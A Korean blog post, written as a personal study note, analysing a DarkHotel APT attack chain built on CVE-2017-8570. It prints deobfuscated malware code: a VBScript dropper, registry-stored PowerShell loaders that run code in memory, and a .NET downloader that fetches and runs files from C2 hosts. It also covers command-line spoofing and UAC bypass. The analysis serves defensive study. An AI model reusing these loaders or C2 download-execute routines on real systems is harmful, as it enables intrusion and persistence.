다크호텔 APT그룹 TTP 분석 - 파트 1

Disclaimer

이 글은 제가 다른 블로그 글들을 읽으면서 배운 것을 개인적으로 정리해놓은 글입니다. 이 글에 있는 모든 내용 및 코드는 이미 다른 사람들이 공개적으로 발표한 것들이며, 실제 상황에 쓰이기에 부족한 퀄리티의 개념 증명 (PoC)입니다. 글의 핵심 내용인 DarkHotel 그룹의 TTP는 ZScaler 사의 이 블로그 글을 바탕으로 쓰여졌습니다. There is no novel research/content in this blog post, nor do I claim any work in this blog post to be mine (it’s not). This post is just a personal study note that I use for personal reasons while I study others’ work. All credits go to ZScaler, not me.

들어가며

내부 모의해킹과 레드팀에 관심 있는 사람으로서 실제 공격자들의 Tactics, Techniques, Procedures (TTP - 전략, 전술, 과정)와 업계에서 사용하는 TTP가 얼마나 다른지 항상 궁금했었다. APT 그룹의 공격을 분석한 글은 많지만, 대부분 “A 악성코드를 이용해 B MITRE Attack 기법을 사용했다” 라는 내용이 주를 이룬다. 실제 공격자들이 사용하는 TTP를 소스코드부터 만드는 방법까지 설명하는 글은 많이 없다. 악성코드 샘플이 있다고 해서 그 소스코드를 항상 볼 수 있는 것은 아니니 말이다.

이 와중에 ZScaler사에서 2021년 12월 16일 새로운 다크호텔 TTP와 관련된 분석을 발표했다. 글을 읽던 도중 위의 호기심을 해결할 수 있는 좋은 연구 기회가 될 것 같아 연구를 시작했다.

파트 1에서는 Zscaler사의 글을 바탕으로 다크호텔 TTP를 분석하고 발견한 특이한 점들에 대해 설명한다. 파트 2에서는 다크호텔 TTP를 재현하며 코드를 직접 작성해본다. 분석 파트에서는 Zscaler사가 기술적인 분석을 많이 했으니 분석보다는 분석 방법론과 개인적으로 특이하다고 느꼈던 점에 집중한다. 파트 2에서는 다크호텔 그룹의 악성코드와 비슷한 행위를 하는 코드를 직접 만들어본다. 직접 코딩을 하며 해당 TTP를 탐지해내는 방법과 방어해내는 방법도 분석한다.

파트 1과 파트 2에서 다뤄지는 모든 코드들 및 샘플들은 파트2 글의 깃허브 리포에 있을테니, 이를 확인하면 된다.

연휴에다가 토요일과 일요일, 2일동안 분석, 코드 작성, 블로그 작성을 했기 때문에 퀄리티가 많이 부족하다.

TTP - 개요

다음은 ZScaler사의 글에서 나온 TTP 다이어그램이다.

출처: https://www.zscaler.com/cdn-cgi/image/format=auto/sites/default/files/images/blogs/DarkHotel-APT/Attack%20Flow.jpg

TTP는 총 5가지 과정으로 이루어져있다.

1. 문서형 악성코드: CVE-2017-8570을 악용한 RTF 파일과 2개의 PE 실행 파일이 포함된 docx 파일을 포함한 docx 파일.

2. SCT 파일: 위 #1에서 CVE-2017-8570을 악용할 때 실행되는 SCT 파일. #1에 있던 2개의 PE 실행 파일을 특정 디렉토리로 복사한 뒤, 실행시킨다.

3. 2개의 PE 파일: 커맨드라인 스푸핑, UAC (User Account Control) 우회 등을 시도한 후, 레지스트리를 통해 윈도우 서비스를 만든다. 서비스를 만들며 4번째 페이로드를 레지스트리 값으로 등록한다.

4. 윈도우 서비스: 레지스트리 값에 등록된 페이로드를 컴퓨터 부팅 시 메모리상에서 실행시킨다.

5. .NET DLL: 다운로더로, Command and Control (C2) 서버와 통신 한 뒤 추가 파일을 다운 받는다.

분석 - #1 - 문서형 악성코드

RTF 파일과 DOCX파일로 이뤄진 문서형 악성코드 

첫번째 스테이지는 문서형 악성코드로, CVE-2017-8570 페이로드가 들어간 RTF 파일이 들어간 docx 파일이 들어간 docx 파일이다. 악성코드 샘플의 MD5는 89ec1f32e1bbf794c41fa5f5bc6869c0 이며, 이는 malware zoo 웹사이트 등에서 구할 수 있다.

DOCX 파일은 압축을 해제할 수 있으니 악성코드 샘플을 받은 뒤, 압축해제한다.

┌──(root💀kali)-[/opt/dh]
└─# unzip tj.docx

Archive:  tj.docx
< … 생략 … > 
  inflating: docProps/app.xml        
  inflating: word/afchunk2.docx

Afchunk2.docx 문서가 포함되어 있다. 어떻게 1개의 docx 문서를 다른 docx 문서에 포함시킬 수 있었을까? DOCX 파일 포멧에서는 altchunk라는 마크업이 있는데, 이는 HTML의 href와 비슷한 역할을 한다. 문서 안에 다른 외부 파일을 링크한 뒤, 그 파일의 위치를 알려준다.

Document.xml.res 파일을 살펴보면 AltChunkID2 라는 ID로 /word/afchunk2.docx 파일이 링크된 것을 볼 수 있다. 이걸 링크하는 방법은 파트 2에서 후술한다.

└─# cat document.xml.rels

< … 생략 … > 

<Relationship Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/aFChunk" Target="/word/afchunk2.docx" Id="AltChunkId2" /></Relationships>

이제 안에 포함되어 있는 afchunk2.docx 파일을 압축 해제한 뒤, RTF 문서를 살펴본다. RTF 문서에는 Object Linking and Embedding (OLE) 기술을 이용해 다른 실행파일이나 쉘코드를 포함시키는 경우가 있다. 따라서 이를 알아보기 위해 rtfobj.py 툴을 이용한다.

RTF 파일 안에 포함된 OLE 파일

ZScaler 글에서 나온 스크린샷과 동일하게 RTF 문서안에 들어가 있는 p, b PE 파일과 googleofficechk.sct 파일이 나온다. 하지만 맨 마지막의 OLE2Link는 뭘까? 그리고 SCT 파일은 어떻게 문서안에 포함시켰으며, 이 SCT 파일은 어떻게 문서를 열자마자 실행되는걸까?

맨 마지막 OLE2Link 파일은 CVE-2017-8570 취약점 공격에 쓰이는 페이로드로, SCT 파일을 문서안에 포함시킨 뒤 실행하는 역할을 담당한다. 실제 재현에 관해서는 파트 2에서 설명한다.

특이한 점 1 - AltChunk

위에서 봤던 altchunk를 이용해 docx 문서를 다른 docx 문서에 포함하는 방법을 찾아보다 MSDN 문서의 예제 코드를 봤다. 이 코드를 똑같이 복사/붙여넣기 한 뒤 실행시키면 다크호텔의 TTP와 똑같은 문서가 만들어진다. 바뀐 점은 예제의 AltchunkID1AltchunkID2로 바꿨다는 점이다.

< ... 생략 ... >

using (WordprocessingDocument myDoc =  
    WordprocessingDocument.Open(fileName1, true))  
{  
    string altChunkId = "AltChunkId1";

< ... 생략 ... >

특이한 점 2 - SCT 파일과 CVE-2017-8570

위에서 RTF 파일안에 SCT 파일은 CVE-2017-8570을 악용하는데 사용된다고 했다. 도대체 CVE-2017-8570을 어떻게 악용하고, 어떻게 SCT 파일을 RTF 문서 안에 포함시키나 찾아보던 중, 깃헙에서 PoC 리포를 하나 발견했다.

다크호텔이 AltChunk 예제코드를 그대로 가져다 썼다면, CVE-2017-8570 PoC도 그대로 가져다 쓴게 아닐까? 하는 생각에 다크호텔의 SCT 파일과 깃헙 리포의 예제 SCT 파일을 비교해봤다.

다크호텔의 SCT 파일

┌──(root💀kali)-[/opt/dh/afchunk2/word]                         
└─# cat afchunk.rtf_googleofficechk.sct                                                                  
<?XML version="1.0"?>      
<scriptlet>               
<registration            
    description="fjzmpcjvqp"    
    progid="fjzmpcjvqp"
    version="1.00"                                  
    classid="{204774CF-D251-4F02-855B-2BE70585184B}"   
    remotable="true"                         
        >
</registration>

깃헙 리포의 예제 SCT 파일

┌──(root💀kali)-[/opt/CVE-2017-8570]
└─# cat notepad.sct 130 ⨯

<?XML version="1.0"?>
<scriptlet>
<registration
 description="fjzmpcjvqp"
 progid="fjzmpcjvqp"
 version="1.00"
 classid="{204774CF-D251-4F02-855B-2BE70585184B}"
 remotable="true"
  >
</registration>

SCT 파일의 처음 부분인 메타데이터 값들이 완전히 똑같다. Description, progid, version, classid의 값이 같은 걸로 볼 때 다크호텔은 이 깃헙 리포의 예제 SCT파일을 그대로 가져다 썼다고 추측된다.

인상 깊은 점은 이 예제 SCT 파일의 문자열들은 이미 AV/EDR 솔루션들에 등록된지 4년이 지났다는 것이다. 해당 문자열을 난독화 하지도 않았고, 바꾸지도 않았으면 사용된 모든 TTP가 AV/EDR 솔루션들에게 걸렸을 텐데, 이걸 2021년 작전에 사용했다는 것 자체가 이해되지 않는다. 심지어 윈도우 디펜더한테도 걸린다.

분석 - #2 - SCT 파일

분석 #1에서 살펴봤던 SCT 파일을 rtfobj.py로 덤프해보면 난독화된 코드 VBScript가 나온다. 하지만 난독화 정도가 심한 것이 아니기 때문에 간단하게 역난독화(? Deobfuscation)을 실행한다.

역난독화는 문자열 사이에 있는 "&"을 없애준 뒤, 변수명을 바꿔주면 된다. 아래는 역난독화를 진행한 뒤의 SCT 파일이다.

Const qgkao = """"
Set wShell = CreateObject("WScript.Shell")
Set shellEnv = wShell.Environment("Process")
envTemp = shellEnv("TEMP")
envLocalAppData = shellEnv("LOCALAPPDATA")
envAppData = shellEnv("APPDATA")

StartupPath = envAppData & "\mIcrOsoft\winDows\starT meNu\progRams\startup\"
peerdistPath = envLocalAppData & "\PeerDistRepub\"
Set fxo = CreateObject("Scripting.FileSystemObject")
Set fso = CreateObject("Scripting.FileSystemObject")
Set aconf = GetObject("winmgmts:Win32_NetworkAdapterConfiguration")

If Not fxo.FolderExists(peerdistPath) Then
    fxo.CreateFolder peerdistPath
End If

If Not fxo.FileExists(peerdistPath & "msrvcd32.exe") Then
    RetVal = aconf.ReleaseDHCPLeaseAll
    
    fxo.CopyFile envTemp & "\p", peerdistPath & "qq3104.exe", True
    fxo.CopyFile envTemp & "\b", peerdistPath & "qq2688.exe", True
    
    Set f1 = fso.CreateTextFile(peerdistPath & "qq3104.exe:Zone.Identifier", True)
    f1.WriteLine "[ZoneTransfer]" & vbNewLine & "ZoneId=1"
    f1.Close
    
    Set f2 = fso.CreateTextFile(peerdistPath & "qq2688.exe:Zone.Identifier", True)
    f2.WriteLine "[ZoneTransfer]" & vbNewLine & "ZoneId=1"
    f2.Close

    intReturn = wShell.Run(peerdistPath & "qq3104.exe", 0, True)
    intReturn = wShell.Run("cmd /cipconfig /renew", 0, True)
    
End If
    
Set wShell = Nothing
Set aconf = Nothing

생략된 부분의 코드까지 합치면 해당 SCT 파일은 다음과 같은 일을 한다:

  • WMI를 이용해 프로세스 목록을 얻은 뒤, http[:]//signing-config.com/cta/key.php 에 POST 요청으로  L=G641giQQOWUiXE&q=" + Base64Encode(strList) 형태로 보낸다.
  • DHCP Release 와 Renew를 통해 모든 네트워크 인터페이스가 IP 주소를 할당 받게끔 한다.
  • %LocalAppData% & "\PeerDistRepub\" 디렉토리가 없으면 생성한다.
  • #1분석에서 봤던 p, b 등의 PE파일을 PeerDistRepub으로 복사하며 이름을 qq2688.exe, qq3104.exe로 바꾼다.
  • PE파일들의 Alternate Data Stream(ADS)의 Zone Identifier를 1로 설정해 Local Intranet - 로컬 인트라넷 - 에서 다운 받은 파일로 위장한다.
  • qq3014.exe 파일을 실행한다.

특이한 점

VBScript에는 여러모로 인상적인 점들이 많다.

1. 난독화가 거의 안됐다.

2. VBScript에서 생략된 부분의 Base64Encode() 함수와 Stream_StringToBinary() 함수는 모두 이 링크에서 그대로 복사/붙여넣기 했다.

3. WMI를 이용해 프로세스 목록을 가져오는 부분은 이 링크에서 그대로 복사/붙여넣기 했다.

4. 공격자의 웹서버 인프라는 TLS/SSL을 적용하지 않은 채 http를 사용하고 있다. 2021년 기준으로 매우 보기 힘든 공격자 인프라 설정이며, 심지어 보내는 데이터도 암호화가 아닌 base64 인코딩으로 되어있다.

5. Reflective PE Injection 와 같은 메모리상에서 PE 파일을 실행 시키는 방법보다 더 탐지가 쉬운 온-디스크 드랍을 선택했다.

어떻게 보면 일부러 방어자들에게 걸리게끔 만든 스테이지 2 페이로드라는 생각까지 든다.

분석 - #3 - qq3104.exe

qq3104.exe 파일은 다음과 같은 일을 수행한다:

1. 커맨드라인 스푸핑 - PEB에서 RTL_USER_PROCESS_PARAMETERS > CommandLine > Buffer 를 찾아낸 뒤, 커맨드라인을 explorer.exe로 수정한다.

실제로 커맨드라인 스푸핑이 이뤄지는 구간은 아래와 같다. 주석은 오른쪽에 달아놨다.

PEB를 수정하는 기법을 사용했는데, PEB의 구조는 이 링크에서 확인할 수 있다. 해당 디버깅 세션의 PEB 위치는 0x005A3010이였다. 32비트 프로세스의 RTL_USER_PROCESS_PARAMETERS는 PEB 시작지점에서 0x10 떨어져있으니, 0x005A3010 안의 값을 확인한다.

0x00861D68이 나온다

RTL_USER_PROCESS_PARAMETERS0x00861D68에 있다. 32비트 프로세스의 CommandLine은 그로부터 0x40떨어져있고, 실제 프로세스 커맨드라인이 들어간 Buffer는 또 0x04만큼 떨어져있다. 따라서 0x00861D68 + 0x44 =  0x00861DAC로 가면 문자열이 들어가 있는 주소인 0x00E0FD60이 나온다.

0x00861DAC 에는 0x00E0FD60 주소가 들어가있다

마지막으로 0x00E0FD60로 가보면, explorer.exe로 바뀌었다. PEB 커맨드라인 스푸핑이 이뤄진것이다.

CommandLine.Buffer 가 explorer.exe로수정된 모습

2. UAC 우회 - Elevation Moniker 를 이용해 취약한 COM 파일들을 찾은 뒤, UAC 우회를 진행한다.

실제로 디버깅을 해보면 다음과 같이 Elevation Moniker와 COM 관련 CLSID를 찾을 수 있다.

COM 모듈들의 CLSID가 보인다

3. qq2688.exe를 실행한다

특이한 점 - 커맨드라인 스푸핑

해당 악성코드를 실행한 결과, 그리고 똑같은 코드를 만들어 재현한 결과, 위와 같이 커맨드라인 스푸핑을 하는 것은 아무 효과가 없다. 효과가 없다는 뜻은 커맨드라인 스푸핑이 이뤄져도 방어자가 보는 프로세스의 이름, 커맨드라인 명령어, 윈도우 이벤트에는 모두 qq3104.exe 라고 나온다는 점이다.

스푸핑은 이뤄졌지만, 별 효과나 의미는 없다. 여전히 qq3104.exe가 나온다.

원래 커맨드라인 스푸핑은 NtCreateUserProcess() 네이티브 API와 함께 쓰인다. 스테이지1 악성코드에서 새로운 프로세스를 Suspend 상태로 만들고, 커맨드라인 스푸핑과 PPID 스푸핑을 실행한 후, 스테이지2 악성코드를 실행하는게 일반적이다. 실제 레드팀에서도 쓰이는 기법이다.

이렇게 이미 실행중인 프로세스의 PEB를 수정해 커맨드라인 스푸핑을 하는 것은 적어도 내가 알기로는 아무 효과가 없다. 아무런 효과가 없는 TTP를 굳이 실행하는 것은 오히려 탐지 확률을 늘려주는데, 왜 이런 선택을 했는지 모르겠다.

특이한 점 - UAC 우회

UAC 우회를 왜 굳이 하나 궁금했는데, 이는 다음 스테이지인 qq2688.exe 파일이 HKLM 레지스트리를 수정하기 때문에 그렇다. UAC 우회에 사용된 COM 들은 CMSTPLUA 와 ColorDataProxy다. 해당 COM 인터페이스들의 CLSID를 검색해보면 2개의 깃헙 리포와 기스트가 나온다.

https://gist.github.com/api0cradle/d4aaef39db0d845627d819b2b6b30512

https://github.com/hfiref0x/UACME/blob/master/Source/Shared/consts.h

다크호텔이 위의 PoC들을 사용했는지 아닌지는 모르겠지만, 적어도 같은 기법을 사용하는 것은 확실하다.

분석 #4 - qq2688.exe

qq3104.exe가 커맨드라인 스푸핑 (실제로는 아무 효과가 없지만)과 UAC 우회로 기반을 다졌다면, qq2688.exe는 실제로 다음 스테이지 페이로드들을 실행한다. qq2688.exe는 다음과 같은 일을 수행한다:

0. 중국 보안 회사인 360 Total Security의 360Tray.exe 및 DSMain.exe 프로세스 실행 여부 및 방화벽을 확인한다.

1.  HKLM\\SYSTEM\\CurrentControlSet\\services\\X 라는 레지스트리 키와 서브키들을 생성한 뒤, ImagePath로 다음 페이로드를 실행한다.

2. HKLM\\SYSTEM\\CurrentControlSet\\services\\X\\s 서브키를 생성한 뒤 필요한 페이로드를 넣는다. 이 페이로드는 다음 페이로드를 실행한다.

3. HKLM\\SYSTEM\\CurrentControlSet\\services\\X\\x 서브키를 생성한 뒤 필요한 페이로드를 넣는다. 이 페이로드는 다음 페이로드인 .NET 다운로더를 실행한다.

먼저 중국 백신 제품과 방화벽 체크 관련된 코드가 보인다.

360Tray.exe 와 DSMain.exe, 그리고 방화벽 체크

그 뒤, 레지스트리 키를 만들어 페이로드를 삽입하는 코드가 실행된다.

RegCreateKeyExW와 RegSetValueExW 로 레지스트리 설정 

HKLM\\SYSTEM\\CurrentControlSet\\services 에서 “X”라는 키를 생성한 후, “Discription” (다크호텔의 오타다), DisplayName, ErrorControl 등의 서브키들을 생성한다.

그 뒤 ImagePath를 설정해 페이로드를 삽입한다. 원래의 버전과 디코딩 된 ImagePath는 아래와 같다.

# Original 
mshta.exe vbscript:Execute(\"Dim s,p:Set s=CreateObject(\"\"WScript.Shell\"\"):p=\"\"powershell -encodedcommand JABoAD0AKABnAHAAIABIAEsATABNADoAXABTAFkAUwBUAEUATQBcAEMAdQByAHIAZQBuAHQAQwBvAG4AdAByAG8AbABTAGUAdABcAFMAZQByAHYAaQBjAGUAcwBcAFgAIAAiAHMAIgApAC4AcwA7ACQAaAAuAFMAcABsAGkAdAAoACIAIAAiACkAfABmAG8AcgBFAGEAYwBoAHsAWwBjAGgAYQByAF0AKABbAGMAbwBuAHYAZQByAHQAXQA6ADoAdABvAGkAbgB0ADEANgAoACQAXwAsADEANgApACkAfQB8AGYAbwByAEUAYQBjAGgAewAkAHIAPQAkAHIAKwAkAF8AfQA7AGkAZQB4ACAAJAByADsA\"\":s.Run p&\"\"\"\"

# Decoded 
mshta.exe vbscript:Execute("Dim s, p:Set s=CreateObject(""WScript.Shell):p="powershell $h=(gp HKLM:\SYSTEM\CurrentControlSet\Services\X "s").s;$h.Split(" ")|forEach{[char]([convert]::toint16($_,16))}|forEach{$r=$r+$_};iex $r;":s.Run p,0,true:close"
X 페이로드의 윈도우 서비스 ImagePath에 들어가있는 페이로드

HKLM:\SYSTEM\CurrentControlSet\Services\X\s 의 값을 읽어와 16진수 값을 char로 변경한 뒤, iex를 통해 실행 시킨다.

s 서브키에는 16진수 페이로드가 있는데, 이를 디코딩하면 다음과 같다:

$Source = @"
using System;
using System.Runtime.InteropServices;

namespace murrayju.ProcessExtensions
{
    public static class ProcessExtensions
    {    
        < ... PInvoke 관련 상수/함수 설정. 생략 ... >

        // Gets the user token from the currently active session
        private static bool GetSessionUserToken(ref IntPtr phUserToken)
        {
            < 현 세션의 유저 토큰을 가져오는 함수 >
        }

        public static bool StartProcessAsCurrentUser(string appPath, string cmdLine, string workDir, bool visible)
        {
            < 특정 유저로 프로세스를 시작하는 함수 >
        }
    }
}
"@

Add-Type -TypeDefinition $Source -Language CSharp

try{[murrayju.ProcessExtensions.ProcessExtensions]::StartProcessAsCurrentUser('C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe','powershell -encodedCommand JABoAD0AKABnAHAAIABIAEsATABNADoAXABTAFkAUwBUAEUATQBcAEMAdQByAHIAZQBuAHQAQwBvAG4AdAByAG8AbABTAGUAdABcAFMAZQByAHYAaQBjAGUAcwBcAFgAIAAiAHgAIgApAC4AeAA7ACQAaAAuAFMAcABsAGkAdAAoACIAIAAiACkAfABmAG8AcgBFAGEAYwBoAHsAWwBjAGgAYQByAF0AKABbAGMAbwBuAHYAZQByAHQAXQA6ADoAdABvAGkAbgB0ADEANgAoACQAXwAsADEANgApACkAfQB8AGYAbwByAEUAYQBjAGgAewAkAHIAPQAkAHIAKwAkAF8AfQA7AGkAZQB4ACAAJAByADsA','','')} 

catch{powershell -encodedCommand JABoAD0AKABnAHAAIABIAEsATABNADoAXABTAFkAUwBUAEUATQBcAEMAdQByAHIAZQBuAHQAQwBvAG4AdAByAG8AbABTAGUAdABcAFMAZQByAHYAaQBjAGUAcwBcAFgAIAAiAHgAIgApAC4AeAA7ACQAaAAuAFMAcABsAGkAdAAoACIAIAAiACkAfABmAG8AcgBFAGEAYwBoAHsAWwBjAGgAYQByAF0AKABbAGMAbwBuAHYAZQByAHQAXQA6ADoAdABvAGkAbgB0ADEANgAoACQAXwAsADEANgApACkAfQB8AGYAbwByAEUAYQBjAGgAewAkAHIAPQAkAHIAKwAkAF8AfQA7AGkAZQB4ACAAJAByADsA}


// Powershell Decoded 
$h=(gp HKLM:\SYSTEM\CurrentControlSet\Services\X "x").x;$h.Split(" ")|forEach{[char]([convert]::toint16($_,16))}|forEach{$r=$r+$_};iex $r;
"s" 페이로드

파워쉘 안에 PInvoke를 사용하는 C# 코드를 담은 뒤, 이 C# 코드를 Add-Type으로 불러와 실행하는 일반적인 형태의 파워쉘 + C# 페이로드다. C#에는 GetSessionUserTokenStartProcessAsCurrentUser 라는 함수 2개를 설정한 뒤, 이 함수들을 뒤쪽의 try/catch 문에서 인코딩된 파워쉘 페이로드를 실행하는데 사용한다. 이 인코딩 된 파워쉘 페이로드는 위에서 봤던 페이로드와 흡사하다. 다만 다른 점은 x 서브키에서 페이로드를 읽어온다는 점이다.

x 페이로드는 다음과 같다:

< “s” 와 비슷하게 C#에서 함수 설정 및 Add-Type으로 C# 코드 불러오기 …. > 

$a='7b0HYBxJliUmL23Ke39K9UrX4HShCIBg <... 생략 …>

('36n98J32I61I32X36b97 <... 생략 ….>’).spLIt( 'n&bDWXJ>I;') | % {([INt] $_ -aS[cHaR])} ) -jOiN''|&( ([stRinG]$verboSEPREFeRENce)[1,3]+'x'-JOin'')
"x" 페이로드

$a 라는 긴 문자열이 있고, 그 뒤에 또 36n98로 시작하는 긴 문자열이 있다. 일단 $a는 뭔지 모르겠으니 생략하고, 뒤의 36n98 문자열 관련 코드를 실행하면하면 다음과 같이 나온다.

# $a 문자열 역난독화. 이는 최종적으로 $d에 저장. 
$b = $a -replace '@','6';$c = $b -creplace '#','A';$d = $c -replace '-','+';

# $a 문자열 base64 디코딩  
$DeflateStream = New-Object IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String($d),[IO.Compression.CompressionMode]::Decompress);

# 디코딩 된 $a 를 읽어온 뒤 $buffer 에 바이트 배열로 저장 
$buffer = New-Object Byte[](8704);$DeflateStream.Read($buffer, 0, 8704) | Out-Null;

# $buffer를 메모리에 로드한 뒤 DLL의 오브젝트 생성, stat() 함수 실행 
[Reflection.Assembly]::Load($buffer) | Out-Null;
$Obj = New-Object lib1.Class1;$Obj.stat()
36n98 문자열 디코딩 결과

36n98 문자열은 바로 위의 $a 문자열을 또 역난독화 한 뒤 DLL로 만들어 메모리에 로드한 후, 실행시키는 코드다.

$buffer를 실행 시키는게 아니라 분석을 하고 싶기 때문에 Load($buffer)가 실행되기 전에 파일로 저장해보자. 다음과 같은 파워쉘 코드를 실행시키면 $a를 역난독화 하고 $buffer 변수로 옮긴 뒤 이를 c:\dev\darkhotel-downloader.dll 파일로 저장한다.

$a = “< … 긴 문자열 … >” 

# 역난독화 
$b = $a -replace '@','6';$c = $b -creplace '#','A';$d = $c -replace '-','+';

# Base64 디코딩과 $buffer 바이트 배열에 저장 
$DeflateStream = New-Object IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String($d),[IO.Compression.CompressionMode]::Decompress);
$buffer = New-Object Byte[](8704);$DeflateStream.Read($buffer, 0, 8704) 

# $buffer를 로드하고 실행시키는게 아니라 그대로 파일에 저장  
[System.IO.File]::WriteAllBytes("c:\dh\darkhotel-downloader.dll",$buffer)
"x" 페이로드를 역난독화 한 뒤 파일로 저장 

특이한 점 - C# 코드

1. C# 코드의 GetSessionUserToken 와 StartProcessAsCurrentUser 함수는 모두 이 링크에서 그대로 복사/붙여넣기 한 코드다. 네임스페이스 이름, 변수명, 주석까지 동일하다.

2. 실제로 이 모든 윈도우 서비스 + “s” + “x” + DLL 페이로드가 실행되려면, 시스템 리부팅이 필수다. qq2688.exe는 레지스트리 키를 생성할 뿐, 실제로 윈도우 서비스를 실행하지 않는다.

분석 #5 - darkhotel-downloader.dll

드디어 최종 페이로드인 .NET DLL까지 왔다. 위에서 저장했던 DLL을 ILSpy 등의 디컴파일러로 살펴본다.

ILSpy로 본 다운로더 파일

놀랍게도 .NET 난독화가 이뤄지지 않았기 때문에 다크호텔의 소스코드를 그대로 읽을 수 있다. x 페이로드가 $Obj = New-Object lib1.Class1;$Obj.stat() 을 통해 DLL을 실행했던 것이 기억나는가? 실제로 디컴파일을 해보면  lib1 네임스페이스와 Class1 클래스, 그리고 stat() 함수가 나온다.

다운로더는 파일 다운 외에 다른 일 (SystemInfo 와 MACAddress 수집 후 C2 서버로 전송)도 하지만, 중요한 C2서버와 통신에 집중한다.

먼저 Base64  + XOR 암호화된 문자열들이 몇개 나온다. 굳이 리버싱을 할필요 없이, 그냥 C# 코드에 그대로 복사/붙여넣기한 뒤 실행하면 이 인코딩+암호화를 풀 수 있다.

string base64EncodedData = "CjcPWwMQFxlxWx0DFQEcWwgcWjUFSgcZE0QgW0FVWVIAQAxb";

string text5 = Base64Decode(base64EncodedData);

for (int i = 0; i < text5.Length; i++)
{
    int num = text5[text5.Length - i - 1] ^ text4[i % 18];
    text9 += (char)num;
}

// 결과
text 5 = http://svcstat.com/policy/v2.php?im=
text 6 = http://relay-server.com/mint/mvv.php?xt=
text 7 = PeerDistRepub\
text 8 = Microsoft\Word\STARTUP\

문자열들은 C2 서버의 주소 및 디렉토리 경로였다. C2서버와 통신하는 코드를 살펴보자.

webClient.DownloadFile(text9 + text13 + text16, text2 + text19);

if (!string.IsNullOrEmpty(webClient.ResponseHeaders["Content-Disposition"]))
{
    text17 = webClient.ResponseHeaders["Content-Disposition"].Substring(webClient.ResponseHeaders["Content-Disposition"].IndexOf("filename=") + 9).Replace("\"", "");
    try
    {
        text15 = text17.Substring(text17.Length - 3);
        text18 = text17.Remove(text17.Length - 3);
        switch (text15)
        {
        case "tta":
            File.Move(text2 + text19, text2 + text18);
            break;
        case "ttx":
            text18 += ".exe";
            File.Move(text2 + text19, text2 + text18);
            Thread.Sleep(5000);
            Process.Start(text2 + text18);
            break;
        case "ttt":
            File.Move(text2 + text19, text3 + text18);
            break;
        case "ttw":
            text18 += ".wll";
            File.Move(text2 + text19, text + text18);
            break;
        default:
            File.Move(text2 + text19, text2 + text18 + "." + text15);
            break;
        }
    }
C2로부터 파일 다운 후 명령어 파싱 + 실행

먼저 webclient.DownloadFile() 로 C2 서버에서 파일을 다운 받는다. 그 뒤 C2서버의 HTTP 응답에 Content-Disposition 헤더가 있을 경우 filename= 뒤의 문자열을 C2 서버의 명령어로 인식해 실행한다.

명령어가 tta, tx, ttt, ttw 일때마다 각각 파일 이동, “.exe” 붙인 뒤 파일 실행, “.wll” 붙인 뒤 파일 이동 등을 실행한다.

특이한 점

1. .NET 난독화가 되어있지 않다.

2. 여전히 HTTP 통신을 고수하고 있다. 굳이 2021년에 이런 통신을 고집하는지는 모르겠다.

3. 명령어 중 파일 이름에 “.wll” 를 붙이는 것도 있는걸로 보아 추가 악성 문서를 다운받을 수도 있다.

4. C2 와의 통신에서 `&mk=u&ltc=` 와 `&mk=d` 등의 부분 URL이 파악된다

정리

이번 다크호텔 TTP의 특이한 점들은 다음과 같다:

1. CVE-2017-8570 PoC를 그대로 가져다 썼으며, 이미 AV/EDR에 등록된 SCT 파일의 메타데이터를 그대로 가져다 썼다. 즉, 다크호텔은 AV/EDR을 전혀 사용하지 않는 피해자들을 노렸다 (...? 이해하기 힘들다)

2. CVE-2017-8570 은 워드 2016, 2019, 오피스 365등에서 악용될 수 없다. 즉, 다크호텔은 워드 2013 이전 버전을 사용하는 피해자들을 노렸다 (요새도 워드 2010, 2013 사용하는 유저들이 있긴 하지만, 몇이나 될까)

3. 다크호텔이 복사/붙여넣기한 많은 코드들은 2016년 ~ 2017년도 코드들이 많다. 이 TTP는 2017년에 만들어진 뒤 업데이트가 안된 TTP일 확률도 있다.

4. 현 프로세스의 PEB를 수정해 커맨드라인 스푸핑을 하는, 위에서 언급한 것처럼 아무 의미 없는 TTP도 있다. 왜 사용하는지는 모르겠다.

5. HTTP 통신을 고수하며, TLS/SSL을 사용하지 않는 특이한 모습을 보여준다. 왠만한 네트워크 모니터링 뿐만 아니라 회사/단체 내 포워드 프록시, 심지어 엔드포인트 보안 솔루션들도 잡아내는 HTTP인데, 매우 특이하다.

6. 대다수의 파워쉘/C#/VBScript 코드가 난독화가 되어있지 않거나, 아주 최소한의 난독화가 되어있다.

7. 메모리상에서 악성코드를 실행하기 보단 고전적인 방법인 온-디스크 드랍을 고수한다.

8. 윈도우 서비스들과 s, x 페이로드들을 곧바로 실행시키는 것이 아니라, 피해자가 컴퓨터 리부팅을 꼭 해야만 페이로드가 실행되도록 설정했다.

정리하자면 APT 그룹의 퀄리티라고 보기엔 힘든 TTP다. 그렇다고 해서 다크호텔을 얕잡아보면 안될것이다. APT 그룹들이 TTP 개발을 위해 연습용으로 만든 것일수도, 신입들 교육 과정 중 만든 것일수도, 보안 전문가들을 속이기 위한 위장용 TTP일수도 있다. 마지막으로, 다크호텔 그룹이 아닌 제3자가 다크호텔의 툴/코드를 살짝 섞어 연습용으로 만든 TTP일수도 있다. 어쨌든 악성코드 저자 식별은 완벽하지 않기 때문에 추측밖에 할 수 없다.

마치며

이렇게 최근 발견된 다크호텔 TTP를 분석하고 특이한 점에 대해서 적어봤다. 부족한 점이 많은 TTP지만, 오히려 그렇기 때문에 앞으로 더 발전할 여지가 있다. 따라서 더 발전하기 전에 깊은 기술적 분석을 해 미래에 피해가 발생하지 않도록 하는게 중요하다. 그에 이 글이 조금이나마 도움이 되었으면 좋겠다.

파트2에서는 직접 위 코드들을 작성해보며 탐지/대응 방안에 대해서 연구해본다.

Happy Hacking!

Reference

New DarkHotel APT attack chain identified | Zscaler
ThreatLabz identified a previously undocumented variant of an attack-chain used by the South Korea-based Dark Hotel APT group.
AltChunk Class (DocumentFormat.OpenXml.Wordprocessing)
Defines the AltChunk Class. When the object is serialized out as xml, its qualified name is w:altChunk.
GitHub - rxwx/CVE-2017-8570: Proof of Concept exploit for CVE-2017-8570
Proof of Concept exploit for CVE-2017-8570. Contribute to rxwx/CVE-2017-8570 development by creating an account on GitHub.
Show Comments